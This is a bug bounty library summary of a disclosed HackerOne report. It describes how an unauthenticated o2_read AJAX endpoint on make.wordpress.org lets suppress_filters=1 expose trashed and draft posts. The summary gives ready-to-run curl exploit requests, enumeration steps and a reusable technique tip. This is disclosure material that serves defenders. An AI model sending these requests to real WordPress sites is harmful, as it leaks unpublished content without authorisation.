# Unauthenticated disclosure of trashed/draft post content via o2 read API suppress_filters bypass on make.wordpress.org

Unauthenticated o2_read AJAX endpoint on make.wordpress.org merges attacker queryVars into WP_Query; suppress_filters=1 bypasses the 24h recency filter, exposing trashed and never-published draft content.

- Payout: hidden
- Severity: high
- Program: WordPress
- Found by: mrpsycho04
- Disclosed: 2026-12-03
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/4145445
- Library page: https://bugbountylibrary.com/r/h1%3A4145445
- Tags: area:web domain:web impact:data-leak kind:bounty platform:hackerone sev:high tech:php tech:wordpress technique:param-pollution technique:source-review vuln:access-control vuln:info-disclosure

**Target:** o2 plugin o2_read AJAX endpoint (admin-ajax.php) on make.wordpress.org
**Root cause:** The o2_read poll handler passes attacker-controlled queryVars directly into WP_Query without an allowlist, so suppress_filters=1 disables the posts_where recency filter; get_fragment_from_post() also returns full contentRaw/contentFiltered for trashed posts to unauthenticated users.
**Steps:**
1. Control: `curl -sS 'https://make.wordpress.org/core/wp-admin/admin-ajax.php?action=o2_read&method=poll&queryVars%5Bposts_per_page%5D=1&queryVars%5Bmeta_query%5D%5B0%5D%5Bkey%5D=_wp_trash_meta_status'` returns empty data (post outside 24h window).
2. Exploit: add `queryVars%5Bsuppress_filters%5D=1` to the same request; response returns full fragment for trashed post 126626 including contentRaw and contentFiltered.
3. Confirm draft origin: add `queryVars%5Bmeta_query%5D%5B0%5D%5Bvalue%5D=draft`; same fragment returned, proving the post was an unpublished draft before trashing.
4. Enumerate further by raising `posts_per_page` or setting it to `-1`.
**How found:** Noticed the o2_read endpoint accepts queryVars merged into WP_Query; hypothesized suppress_filters would disable the posts_where recency filter, then used meta_query on _wp_trash_meta_status to target trashed posts and confirmed the fragment leaked full content.
**Exploitation:** Unauthenticated attacker sends crafted admin-ajax.php o2_read poll requests with queryVars[suppress_filters]=1 and meta_query on _wp_trash_meta_status to retrieve full content of trashed posts, including drafts never published, and can bulk-enumerate the trashed corpus.
**Insight:** When an AJAX endpoint forwards user-supplied queryVars into WP_Query, try suppress_filters=1 to kill plugin-added posts_where clauses (recency, visibility), and pair with meta_query on _wp_trash_meta_status to target trashed/draft posts.

## Proof of concept (copied exactly from the original report)

**Exploit request bypassing recency filter with suppress_filters**

```
curl -sS 'https://make.wordpress.org/core/wp-admin/admin-ajax.php?action=o2_read&method=poll&queryVars%5Bsuppress_filters%5D=1&queryVars%5Bposts_per_page%5D=1&queryVars%5Bmeta_query%5D%5B0%5D%5Bkey%5D=_wp_trash_meta_status'
```

**Control request showing 24-hour bound**

```
curl -sS 'https://make.wordpress.org/core/wp-admin/admin-ajax.php?action=o2_read&method=poll&queryVars%5Bposts_per_page%5D=1&queryVars%5Bmeta_query%5D%5B0%5D%5Bkey%5D=_wp_trash_meta_status'
```

